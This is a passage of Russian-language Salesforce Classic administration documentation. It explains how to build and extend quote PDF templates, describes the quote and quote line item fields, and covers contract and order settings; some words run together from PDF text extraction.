отключите синхронизацию с возможностью на странице сведений о смете.

СМ. ТАКЖЕ:

Сметы
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Шаблоны сметы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Шаблоныпозволяютналадить способсоставлениясметнапродуктыиуслугикомпании
со стороны торговых представителей. Последние имеют возможность выбирать
стандартные или настраиваемыешаблоны сметы из своих записей, генерировать сметы
в формате PDF и отправлять их клиентам.

Рекомендации по созданиюшаблонов смет
Ниже приведеныфакторы, которые следует принять во внимание при создании
шаблонов смет.

Создание, предварительный просмотр и активация шаблонов сметы
Определите внешний вид PDF-сметы своей компании, создав шаблоны, которые
смогут выбрать ваши торговые представители, составляя сметы в формате PDF.

Расширение шаблонов сметы
После создания шаблона сметы добавьте функции для его расширения.

Рекомендации по созданию шаблонов смет

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Нижеприведеныфакторы, которыеследуетпринятьвовниманиеприсозданиишаблонов
смет.

• PDF-сметы не поддерживают языки с письмом справа налево. Текст выравнивается
по левой стороне страницы.

• Компонент «Поле текста или изображения» не поддерживает форматирование
текста для языков с кодировкой «Юникод» (например, арабский и японский языки).
Чтобыразрешитьотображениеиностранныхсимволоввобычномтексте, обратитесь
в компанию Salesforce для включения поддержки иностранных символов для полей
типа «Область обогащенного текста» PDF-сметы.

• Функция расширенного управления валютами не поддерживается.

• Максимальноеколичествосимволов, поддерживаемоекомпонентомшаблоновсмет
«Поле текста или изображения», составляет 32 000, включая скрытые HTML-символы, используемые для
форматирования текста.

• В некоторых случаях на палитре шаблонов смет или в PDF-документе, созданном на основе шаблона, может не
отображаться одно из полей.

– Если стандартное значение поля превышает 255 символов, шаблоны сметы не поддерживают текстовые области
или поля.

– Поле, которое не может быть просмотрено или обновлено ввиду заданных параметров безопасности, не
отображается в PDF-документах, созданных на основе шаблона, даже в том случае, если оно добавлено в шаблон.
PDF-документы отображают только поля, доступные для чтения.

– Поле, которое отображается в макете страницы сметы, но не содержит значения для данной сметы, отображается
на палитре шаблонов смет, но не отображается в PDF-документах, созданных на основе данной сметы.

– Пустые поля элемента строки сметы не отображаются в виде столбцов списка при создании PDF-документа даже
в томслучае, еслионидобавленывшаблон. Например, еслиэлементыстрокисметыне содержат скидку, то столбец
«Скидка» не отображается даже в том случае, если поле «Скидка» добавлено в список.

– Связанный список, отсутствующий в макете страницы сметы, не отображается на палитре шаблонов или в
PDF-сметах, использующих данный макет страницы.
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– Если валютапродукта возможностиотличается от валютыпользователя вмультивалютнойорганизации, тополя
валюты для смет и элементов строки сметы отображают обе валюты: валюта продукта преобразуется в валюту
пользователя, а преобразованная стоимость отображается в скобках. В полях настраиваемых отчетов по сметам
отображается валюта отчета. Полями валюты считаются: «Промежуточная сумма», «Налог» и «Общая сумма».

– Еслиорганизация SalesforceиспользуетбезопаснуюсредуDeveloper SandboxилиDeveloper Pro Sandbox, тошаблоны,
содержащие поля «Текст/изображение», не могут быть открыты для редактирования в безопасной среде.

• Поля разделов и столбцы списков используютразное выравнивание, поэтому при добавлениираздела «Итого» ниже
списка значения его полей не выравниваются по крайним правым значениям списка. Например, шаблон содержит
список элементов строки сметы, в том числе столбец «Итого к оплате», который занимает крайнее правое положение
и отображает общую сумму для каждого элемента строки. Если раздел «Итого» добавляется ниже списка и содержит
поля «Промежуточная сумма», «Итого к оплате» и «Общая сумма», то значенияполейотображаютобщуюсумму
по всем элементам строки, но не выравниваются по столбцу списка «Итого к оплате».

СМ. ТАКЖЕ:

Создание, предварительный просмотр и активация шаблонов сметы

Создание, предварительный просмотр и активация шаблонов сметы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания шаблонов
сметы:
• «Настройка

приложения»

Для просмотра шаблонов
сметы:
• «Просмотр настройки и

конфигурации»

Определите внешний вид PDF-сметы своей компании, создавшаблоны, которые смогут
выбрать ваши торговые представители, составляя сметы в формате PDF.

1. Введитестроку «Шаблоны» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Шаблоны» в разделе «Сметы».

2. Нажмитекнопку «Создать»ивыберитешаблон (например, «Стандартный шаблон»),
который должен использоваться для создания шаблона.

3. Введите имя нового шаблона и нажмите кнопку «Сохранить».

4. В редакторе шаблонов перетащите нужные элементы в шаблон и введите данные.
Чтобы сделать вставку, выполните следующие условия.

• Как минимум одно поле сметы или поля связанных объектов, перетащите
компонент «Раздел» и добавьте поля.

• Текст, доступный для редактирования и форматирования (например, условия),
воспользуйтесь компонентом «Поле текста или изображения».

• Изображение (например, логотип компании), воспользуйтесь компонентом
«Поле текста или изображения».

• Таблицу полей сметы или полей другого объекта (например, элемента строки
сметы), воспользуйтесь компонентом «Список».

5. Чтобы сохранить внесенныеизмененияипродолжитьработу сшаблоном, нажмите
кнопку «Быстрое сохранение».

6. Чтобыгарантировать соответствиеновой PDF-сметытекущимтребованиям, нажмите
кнопку «Сохранить и открыть предварительный просмотр».

Функцияпредварительногопросмотра открываетшаблоны впредставлениипрофиля «Системный администратор».
Предварительныйпросмотршаблонаподдерживаетотображениедобавленногообогащенноготекстаилиизображения.
Остальные данные имитируются.
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Важное замечание: Кнопка «Сохранить и открыть предварительный просмотр» сохраняет изменения,
внесенные в шаблон. Данные изменения не могут быть отменены после предварительного просмотра.

7. По завершении нажмите кнопку «Сохранить».

8. Вернитесь на страницу «Шаблоны сметы» и перейдите по ссылке «Активировать».

СМ. ТАКЖЕ:

Расширение шаблонов сметы

Поля шаблонов сметы

Расширение шаблонов сметы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

После создания шаблона сметы добавьте функции для его расширения.

Добавление обогащенного текста в шаблон сметы
В текст, а также в верхний и нижний колонтитулышаблона можно добавить
форматируемый текст, например адрес компании или условия.

Добавление списка в шаблон сметы
Пользователи могут настроить параметры отображения полей элементов строки
сметы и любых других стандартных или настраиваемых объектов, связанных со
сметой взаимосвязью «Поиск». Список выглядит, как таблица, столбцы которой
соответствуют именам полей.

Добавление изображения в шаблон сметы
В текст, а также в верхний и нижний колонтитулышаблона сметы можно добавить изображение, например логотип
компании.

Добавление раздела «Итого» в шаблон сметы
Пользователи могут добавлять в сметы поля для промежуточных и общих итоговых сумм.

Добавление блока подписи в шаблон сметы
Наличие блоков подписи и строк даты позволяет клиентам утверждать сметы.

Рекомендации по использованию редактора шаблонов сметы
По вопросам создания и редактирования шаблонов сметы ищите дополнительную информацию в основных
рекомендациях.
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Добавление обогащенного текста в шаблон сметы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания шаблонов
сметы:
• «Настройка

приложения»

Для просмотра шаблонов
сметы:
• «Просмотр настройки и

конфигурации»

В текст, а также в верхний и нижний колонтитулышаблона можно добавить
форматируемый текст, например адрес компании или условия.

1. Перетащите компонент «Поле текста или изображения» в верхний колонтитул,
нижний колонтитул или любой раздел текста шаблона.

2. Введите или вставьте текст в поле.

3. При необходимости примените форматирование.

4. Нажмите кнопку «OK».

СМ. ТАКЖЕ:

Рекомендации по использованию редактора шаблонов сметы

Добавление изображения в шаблон сметы

Расширение шаблонов сметы
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Добавление списка в шаблон сметы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания шаблонов
сметы:
• «Настройка

приложения»

Для просмотра шаблонов
сметы:
• «Просмотр настройки и

конфигурации»

Пользователимогут настроить параметрыотображения полей элементов строки сметы
и любых других стандартных или настраиваемых объектов, связанных со сметой
взаимосвязью «Поиск». Список выглядит, как таблица, столбцы которой соответствуют
именам полей.

Список может содержать не более 10 полей.

Прим.: Списки могут быть добавлены только в текст шаблона сметы.

1. Перетащите список из палитры в шаблон.

2. Введите заголовок для списка. Чтобы скрыть заголовок раздела в шаблоне или
PDF-документе, установите флажок в поле «Скрыть заголовок».

3. Выберите объект, поля которого должны отображаться в списке, в поле «Объект».

4. Чтобы переместить столбцы из списка «Доступные поля» в список «Выбранные
поля», воспользуйтеськнопками «Добавить»и «Удалить». Чтобыизменитьпорядок
отображения столбцов, воспользуйтесь кнопками «Вверх» и «Вниз».

5. Нажмите кнопку «OK».

СМ. ТАКЖЕ:

Рекомендации по использованию редактора шаблонов сметы

Расширение шаблонов сметы
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Добавление изображения в шаблон сметы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания шаблонов
сметы:
• «Настройка

приложения»

Для просмотра шаблонов
сметы:
• «Просмотр настройки и

конфигурации»

В текст, а также в верхний и нижний колонтитулышаблона сметы можно добавить
изображение, например логотип компании.

Прежде чем начать работу, просмотрите раздел с рекомендациями.

Вставка загруженного изображения

1. Чтобы вставить изображение, хранящееся в Salesforce CRM Content, найдите и
загрузите нужное изображение в локальный каталог файлов.

2. Перетащитекомпонент «Поле текста или изображения» вверхнийколонтитул,
нижний колонтитул или любой раздел текста шаблона.

3. Щелкните значок изображения, нажмите кнопку «Выбратьфайл» и найдите
нужное изображение в каталоге файлов.

4. Щелкните «Открыть», затем «Вставить».

Изображение добавляется в поле. Чтобы изменить размер изображения,
перетащитеманипуляторразмера, отображающийвысотуиширинуизображения
в пикселах.

5. Нажмите кнопку «OK».

6. Чтобыпросмотретьизображениев PDF-документе, созданномнаосновешаблона,
нажмите кнопку «Сохранить и открыть предварительный просмотр».

7. Чтобыскрытьзаголовокразделавшаблонеили PDF-документе, установитефлажок
в поле «Скрыть заголовок» в свойствах раздела.

Вставка изображения из веб-адреса Salesforce

1. При необходимости загрузите изображение на вкладку «Документы» или определите статический ресурс.

2. Перетащитекомпонент «Поле текста или изображения» в верхнийколонтитул, нижнийколонтитулилилюбой
раздел текста шаблона.

3. Чтобы скрыть заголовок раздела вшаблоне или PDF-документе, установитефлажок в поле «Скрыть заголовок».

4. Нажмите кнопку «OK».

5. Откройте вкладку «Документы» или страницу «Статические ресурсы», затем откройте страницу сведений об
изображении, нажмите кнопку «Просмотрфайла» и скопируйте его URL-адрес.

6. Откройте редактор шаблонов сметы ищелкните значок в заголовке «Поле текста или изображения».

7. Щелкните значок изображения и откройте вкладку «Веб-адрес».

8. Вставьте URL-адрес в поле «URL-адрес» и нажмите кнопку «Вставить».

Изображение добавляется в поле. Чтобы изменить размер изображения, перетащите манипулятор размера,
отображающий высоту и ширину изображения в пикселах.

9. Нажмите кнопку «OK».

10. Чтобы просмотреть изображение в PDF-документе, созданном на основе шаблона, нажмите кнопку «Сохранить
и открыть предварительный просмотр».
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Важное замечание: Еслиизображениеудаляется совкладки «Документы» илистраницы «Статическиересурсы»,
тошаблонотображает сообщениеонедоступностиизображения. Восстановитеизображение, откройтешаблон,
удалите сообщение об ошибке и повторно вставьте URL-адрес.

СМ. ТАКЖЕ:

Рекомендации по использованию редактора шаблонов сметы

Расширение шаблонов сметы

Добавление раздела «Итого» в шаблон сметы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания шаблонов
сметы:
• «Настройка

приложения»

Для просмотра шаблонов
сметы:
• «Просмотр настройки и

конфигурации»

Пользователи могут добавлять в сметы поля для промежуточных и общих итоговых
сумм.

1. Выполните одно из указанных ниже действий.

a. При созданиишаблона выберите значение «Стандартный шаблон» и внесите
необходимые изменения в раздел «Итого».

b. Перетащите раздел в макет любого шаблона. Затем перетащите поля суммы
(например, «Промежуточная сумма» и «Общая сумма») вправуючастьраздела.
Если раздел размещается непосредственно под списком, скройте заголовок.

2. Щелкните значок и выберите выравнивание по правому краю.

3. Сохраните внесенные изменения.

СМ. ТАКЖЕ:

Рекомендации по использованию редактора шаблонов сметы

Расширение шаблонов сметы
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Добавление блока подписи в шаблон сметы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания шаблонов
сметы:
• «Настройка

приложения»

Для просмотра шаблонов
сметы:
• «Просмотр настройки и

конфигурации»

Наличие блоков подписи и строк даты позволяет клиентам утверждать сметы.

1. Перетащите компонент «Поле текста или изображения» в нижний колонтитул
шаблона. Чтобы выровнять блок подписи по правому краю или создать два блока
подписи, рекомендуем использовать двухстолбцовый нижний колонтитул.

2. Введите метку для каждой создаваемой строки. Например: «Подпись», «Имя»,
«Должность» или «Дата».

3. Чтобы создать строку для подписи или добавления дополнительных сведений,
нажмите и удерживайте клавишу подчеркивания.

4. Нажмите кнопку «OK».

5. Сохраните внесенные изменения.

СМ. ТАКЖЕ:

Рекомендации по использованию редактора шаблонов сметы

Расширение шаблонов сметы

Рекомендации по использованию редактора шаблонов сметы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

По вопросам создания и редактирования шаблонов сметы ищите дополнительную
информацию в основных рекомендациях.

Общие рекомендации

• Чтобы развернуть или свернуть палитру, щелкните значок , расположенный
под палитрой.

• Выберите объект, поля которого должныотображаться на палитре, в левом столбце.

• Чтобы найти нужный элемент палитры, воспользуйтесь полем «Быстрый поиск».

• Чтобы добавить элемент в шаблон, перетащите нужный элемент из палитры в
расположенный ниже макет.

• Чтобы удалить элемент из макета, перетащите нужный элемент на палитру или
наведите указатель мыши на его заголовок и щелкните значок .

• В любом разделе (включая верхний и нижний колонтитул) дваждыщелкните его заголовок или нажмите на значок
, чтобы выполнить следующие действия.

– Скрыть заголовок раздела.

– Скрытьметки полей. (Имена полей отображаются серымцветом в редакторешаблонов сметыине отображаются
в PDF-сметах).

– Изменить количество столбцов (один или два).

– Выровнять поля.
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• Чтобы переименовать шаблон, щелкните «Свойствашаблона сметы».

• Дляотображенияполя содержимогобезметок в разделахшаблонов сметы, верхнихинижних колонтитулахнажмите
на значок и установите флажок «Скрыть».

• Чтобы добавить пустое поле в любую область шаблона, воспользуйтесь компонентом «Пробел».

Рекомендации по использованию верхних и нижних колонтитулов

Верхний или нижний колонтитулы являются разделами, так как позволяют добавлять поля, а также отображать или
скрывать заголовок. Верхний и нижний колонтитулы нельзя удалить или дополнить другими разделами.

• Выберите объект в редакторе шаблонов сметы и перетащите нужные поля в верхний или нижний колонтитулы.

• Чтобы добавить изображение (например, логотип компании) или расширенные сведения (например, условия),
воспользуйтесь компонентом «Поле текста или изображения».

• Чтобы изменить количество столбцов в верхнем или нижнем колонтитуле, щелкните значок , и выберите нужное
число (один или два).

– Чтобы растянуть изображение по ширине страницы, рекомендуем использовать одностолбцовый верхний или
нижний колонтитул.

– Чтобы добавить текст условий, рекомендуем использовать одностолбцовый нижний колонтитул.

• Чтобы выровнять поля внутри столбца, щелкните значок и выберите выравниваниепоправому или левому краю.

• Чтобы скрыть метки полей, щелкните значок и установите флажок «Скрыть».

СМ. ТАКЖЕ:

Расширение шаблонов сметы

Поля шаблонов сметы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Есливыработаете сшаблонамисметы, ознакомьтесь синформациейополяхшаблонов.

Прим.: Чтобыразобратьсявинформации, котораябудетпредоставленапривыборе
полей для шаблона, воспользуйтесь данными из столбца «Имя поля шаблона» в
приведеннойниже таблице, которыеотсутствуют в PDF-документах, созданныхпо
шаблону.

Имя поля
PDF-документа

Имя поляшаблонаПоле объектаОбъект

ПодготовилПодготовил (имя)Личное имя,
Фамилия

Пользователь

Адрес эл. почтыПодготовил (адрес
эл. почты)

Эл. почтаПользователь

Тел.Подготовил (тел.)Тел.Пользователь

ФаксПодготовил (факс)ФаксПользователь

Адрес компанииОрганизация
(адрес)

АдресСведения о
компании
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Имя поля PDF-документаИмя поля шаблонаПоле объектаОбъект

Дата созданияPDF-смета (дата создания)Скрыто. Дата создания и
сохранения PDF-документа в
объекте «Документысметы».

Документы сметы

СМ. ТАКЖЕ:

Создание, предварительный просмотр и активация шаблонов сметы

Рекомендации по добавлению изображений в шаблоны сметы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Прежде чем добавлятьизображения вшаблонысметы, выполнитенесколько ключевых
условий.

• Изображения для загрузки могут храниться в файловой системе пользователя или
в Salesforce CRM Content.

• Прихраненииизображенийна вкладке «Документы» илина странице «Статические
ресурсы» создается веб-адрес, который может использоваться для их вставки.

• Слишкомбольшиеизображения автоматическиобрезаютсяприсоздании PDF-смет
на основешаблона. Чтобыпредотвратить обрезку, вставьте изображениеинажмите
кнопку«Сохранитьиоткрытьпредварительныйпросмотр». Принеобходимости
измените размер изображения.

• Чтобывставитьизображениеиз общедоступного веб-адреса (то есть адреса вне системы
Salesforce, например адреса корпоративного веб-сайта), обратитесь в компанию
Salesforce с просьбой добавить общедоступный URL-адрес в список надежных адресов организации Salesforce.

СМ. ТАКЖЕ:

Добавление изображения в шаблон сметы

Поля смет

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Преждечемприступатьк устранениюнеполадокв сметахиливработе снастраиваемыми
полями, ознакомьтесь с приведенными ниже сведениями о полях смет.

Данные таблицы содержат поля сметы. Отображение и возможность редактирования
полей зависят от макета страницы, параметров безопасности поля и версии Salesforce.
(Безопасность поля доступна только в версиях Enterprise Edition, Unlimited Edition,
Performance Edition и Developer Edition.)

Прим.: Если валюта продукта возможности отличается от валюты пользователя
вмультивалютнойорганизации, тополявалютыдлясметиэлементовстрокисметы
отображают обе валюты: валюта продукта преобразуется в валюту пользователя,
а преобразованная стоимость отображается в скобках. В полях настраиваемых
отчетов по сметам отображается валюта отчета. Полями валюты считаются:
«Промежуточная сумма», «Налог» и «Общая сумма».
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ОписаниеПоле

Имяорганизации, связаннойс возможностьюсметы. (Толькодлячтения)Имя организации

Поле дополнительного адреса. По умолчанию данное поле не
отображается в макете страницы.

Кому (дополнительно)

Имя человека или название компании, связанное с дополнительным
адресом.

Кому (дополнительно): имя

Адрес выставления счета для организации, связанной со сметой.Адрес для счета

Имя человека или название компании для выставления счета по смете.Имя для счета

Имяконтакта, связанногососметой. Поумолчаниюданноеполесодержит
основной контакт возможности.

Имя контакта

Контракт, связанный со сметой.Контракт

Пользователь, создавший смету, а также дата и время создания. (Только
для чтения)

Создано

Описание сметы или примечания, позволяющие отличить одну версию
сметы от другой.

Описание

Средневзвешенное значение всех скидок для элементов строки сметы.
Данноеполеподдерживаетлюбыеположительныечисла до 100. (Только
для чтения)

Скидка

Адрес электронной почты контакта, связанного со сметой. Данное поле
заполняется автоматически при добавлении контакта.

Эл. почта

Дата истечения срока действия данной сметы.Дата истечения срока действия

Номер факса контакта, связанного со сметой. Данное поле заполняется
автоматически при добавлении контакта.

Факс

Общая сумма сметы плюс налоги и стоимость отправки.(Только для
чтения)

Общая сумма

Пользователь, который изменял смету последним, а также дата и время
изменения. (Только для чтения)

Последнее изменение сделано

Количество элементов строки сметы.Элементы строки

Имя возможности, связанной со сметой. (Только для чтения)Имя возможности

Номертелефонаконтакта, связанногососметой.Данноеполезаполняется
автоматически при добавлении контакта.

Тел.

Имя сметы.Имя сметы

Автоматически создаваемый номер сметы. (Только для чтения)Номер сметы

Адрес для отправки сметы на утверждение (например, адрес стороннего
агентства, представляющегоинтересыпокупателя). Поумолчаниюданное
поле не отображается в макете страницы.

Адрес для сметы
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ОписаниеПоле

Имя объекта (например, пользователя или компании), которому смета
отправляется на утверждение.

Имя для сметы

Имя поля, которое определяет значения раскрывающегося списка,
доступныедля записи. Типзаписиможетбытьсвязанспроцессомпродаж.

Тип записи

Доступно в версиях Enterprise Edition, Unlimited Edition, Performance Edition
и Developer Edition.

Общая стоимость отправки и обработки сметы.Доставка и обработка

Адрес отправки для организации, связанной со сметой.Адрес доставки

Имя объекта (например, пользователя или компании), которому
отправляются элементы строки сметы.

Имя для доставки

Текущий статус сметы. Стандартные значения:Статус

• —Нет—

• Черновик

• Требует согласования

• В процессе рассмотрения

• Утверждено

• Отклонено

• Передано на рассмотрение

• Принято

• Отклонено

Администратор организации определяет статус, назначаемый новым
сметампоумолчанию, а также статусы, позволяющиеотправку PDF-сметы
по электронной почте.

Общая сумма по элементам строки сметы без учета скидок, налогов и
стоимости отправки. (Только для чтения)

Промежуточная сумма

Данное поле определяет наличие синхронизации между сметой и
связанной возможностью. (Только для чтения)

Синхронизация

Общая сумма налогов по смете.Налог

Общая сумма по элементам строки сметы с учетом скидок, но без учета
налогов и стоимости отправки. (Только для чтения)

Итоговая цена

Поля элементов строки сметы

ОписаниеПоле

Пользователь, создавший элемент строки, а также дата и время создания.
(Только для чтения)

Создано
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ОписаниеПоле

Дата предоставления услуги, дата вступления в силу или любая другая
дата, связанная с продуктом.

Дата

Скидка, применяемая к элементу строки. Введите число (включая или не
включаясимвол). Количествознаковпосле запятойнедолжнопревышать
двух.

Скидка

Пользователь, который изменял элемент строки последним, а также дата
и время изменения. (Только для чтения)

Последнее изменение сделано

Описание продукта в элементе строки.Краткое описание

Автоматическисоздаваемыйномер элемента строки. (Толькодлячтения)Номер элемента строки

Цена продукта по прайс-листу, в том числе валюта. (Только для чтения)Цена по прайс-листу

Имя элемента строки (продукта) по прайс-листу. (Только для чтения)Продукт

Внутреннийкодилиномерпродукта, используемыйдляидентификации.Код продукта

Количествоединицданногопродукта, указанноевсмете. Значениедолжно
превышать единицу. Если смета синхронизирована с возможностью, то

Количество

данное поле элемента строки сметы обновляет продукт возможности.
Данное поле также отображается в списке «Продукты» на странице
«Редактирование прогноза возможности» при использованиифункции
прогнозирования для возможностей (в зависимости от используемой
версии функции прогнозирования).

Имя сметы, содержащей элемент строки.Имя сметы

Цена продукта. По умолчанию реализационная цена продукта,
добавленного в возможность или смету, соответствует цене продукта по

Продажная цена

прайс-листу, но может быть изменена. Если смета синхронизирована с
возможностью, тоданноеполе элемента строкисметыобновляетпродукт
возможности. Если смета синхронизирована с возможностью, то данное
поле элемента строки сметы обновляет продукт возможности. Данное
поле также отображается в списке «Продукты» на странице
«Редактирование прогноза возможности» при использованиифункции
прогнозирования для возможностей (в зависимости от используемой
версии функции прогнозирования).

Данное поле определяет наличие расписаний для элементов строки в
возможности. Стандартные расписания не переносятся из возможности
при копировании продуктов возможности в смету.

Расписание

Продажная цена элемента строки, умноженная на количество.Промежуточная сумма

Реализационная цена элемента строки контракта, умноженная на
количество, минус скидка.

Итоговая цена
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Настройка параметров контрактов

Настройка параметров контрактов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Контракты доступны в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Утверждения доступны в
версиях: Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения параметров
контрактов:
• «Настройка

приложения»

Настройте систему Salesforce в соответствии с внутренними процессами управления
контрактами. Чтобы перейти на страницу, введите строку «Параметры контракта» в
поле «Быстрый поиск» вменю «Настройка» ивыберитепункт«Параметрыконтракта».
Ниже перечислены задачи, доступные на странице «Параметры контракта».

Включение уведомлений об истечении срока действия контрактов
Чтобы отправлять ответственным за организации и контракты автоматические
электронные уведомления об истечении срока действия контракта, установите
соответствующийфлажок. Чтобы активировать данные уведомления, выполните
указанные ниже действия.

1. Установите флажок «Отправлять электронные уведомления об истечении срока
действия контракта...».

2. Нажмите кнопку «Сохранить».

Чтобы отменить отправку уведомлений, снимите данныйфлажок и нажмите кнопку
«Сохранить».

Отключение автоматического вычисления дат окончания контрактов
Контрактымогутбытьбессрочнымиилидатыокончаниямогутвводитьсяпользователями
вручную. Чтобы отключить автоматическое вычисление дат окончания контрактов,
выполните указанные ниже действия.

1. Снимите флажок «Автоматически рассчитывать дату окончания контракта».

2. Нажмите кнопку «Сохранить».

3. Чтобы гарантировать доступность полей «Дата окончания контракта», «Дата
начала контракта» и «Срок контракта» дляпросмотраиредактирования, просмотритемакет страницыипараметры
безопасности поля.

• Чтобывключить автоматическое вычисление, установите данныйфлажокинажмите кнопку «Сохранить». Поле
«Дата окончания контракта» не отображается на странице редактирования контракта при автоматическом
вычислении его значения системой Salesforce.

Прим.: Если флажок «Автоматически рассчитывать дату окончания контракта» установлен, но поле «Дата
начала контракта» или «Срок контракта» не содержит значения, то поле «Дата окончания контракта» будет
пустым.

Отслеживание журнала для всех статусов
По умолчанию отслеживается журнал для контрактов со статусом «В процессе утверждения» или «Активировано».
Чтобы отслеживать журнал для контрактов со всеми статусами, выполните указанные ниже действия.

1. Установите флажок «Отслеживать журнал для всех статусов».
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2. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Общие сведения о контрактах

Настройка параметров заказов

Настройка параметров заказов

Настройка параметров заказов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения параметров
заказов:
• «Настройка

приложения»

Настройте систему Salesforce в соответствии с внутренними процессами управления
заказами.

Чтобы настроить перечисленные ниже параметры заказов, воспользуйтесь страницей
«Параметры заказов» в меню «Настройка».

Включение заказов
Чтобы разрешить пользователям отслеживание и управление запросами клиентов
на продукты или услуги, включите заказы для организации.

Включение сокращенных заказов
Чтобы разрешить пользователям обработку возвратов или сокращений для
активированных заказов, включите сокращенные заказы для организации.

Включение отрицательных количеств для продуктов заказа
Чтобыразрешить пользователям добавление продуктов заказа, количества которых
не превышают нуля, включите отрицательные количества для организации.

СМ. ТАКЖЕ:

Общие сведения о заказах

2165

Настройка параметров заказовНастройка и обслуживание инструментов продаж



Включение заказов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения параметров
заказов:
• «Настройка

приложения»

Чтобы разрешить пользователям отслеживание и управление запросами клиентов на
продукты или услуги, включите заказы для организации.

1. Внастройкевведите «Параметры заказов» вполе «Быстрый поиск», затемвыберите
«Параметры заказов».

2. Установите флажок «Включить заказы».

3. Нажмите кнопку «Сохранить».

4. Выберите макеты страниц, которые должны содержать связанный список «Заказы»,
и нажмите кнопку «Сохранить».

5. Чтобы назначить полномочия пользователя и объекта соответствующим
пользователям, воспользуйтесь профилями или наборами полномочий.

Отключение заказов инициирует удаление всех текущих связанных данных из
представления. Чтобы получить повторный доступ к данным, рекомендуем включить
заказы.

СМ. ТАКЖЕ:

Наборы полномочий

Настройка параметров заказов

Включение сокращенных заказов

Общие сведения о заказах

Включение сокращенных заказов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения параметров
заказов:
• «Настройка

приложения»

Чтобы разрешить пользователям обработку возвратов или сокращений для
активированных заказов, включите сокращенные заказы для организации.

Прежде чем включить данный параметр, рекомендуем включить поддержку заказов.

1. Внастройкевведите «Параметры заказов» вполе «Быстрый поиск», затемвыберите
«Параметры заказов».

2. Установите флажок «Включить заказы».

3. Установите флажок «Включить сокращенные заказы».

4. Нажмите кнопку «Сохранить».

5. Назначьте нужные полномочия соответствующим пользователям посредством
профиля или набора полномочий.

Пользователимогут создаватьсокращенныезаказытолькоприналичииполномочия
«Создание сокращенных заказов». Пользователи могут добавлять продукты в
сокращенные заказы только при наличии доступа к следующим полям продуктов
заказа: «Дата начала», «Дата окончания» и «Продукт исходного заказа».

При необходимости добавьте связанный список «Продукты сокращенного заказа» в
макеты страниц для продуктов заказа.

Отключениеданногопараметраинициирует удалениеполномочия «Созданиесокращенныхзаказов» изовсехпрофилей
или наборов полномочий, но не влияет на данные, доступные в представлении. Пользователи не смогут создавать или
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активировать сокращенные заказы, но смогут просматривать и редактировать текущие заказы. Кроме того, отключение
сокращенных заказов инициирует отключение всех связанных типов записей или макетов страниц. Если типы записей
не использовались, рекомендуем удалить поля сокращенных заказов из макетов страниц. А именно: поля «Исходный
заказ» и «Сокращенный заказ» для объекта «Заказ», поля «Продукт исходного заказа» и «Доступное количество» для
объекта «Продукт заказа», а также любые настраиваемые поля.

СМ. ТАКЖЕ:

Наборы полномочий

Настройка параметров заказов

Общие сведения о сокращенных заказах

Включение отрицательных количеств для продуктов заказа

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
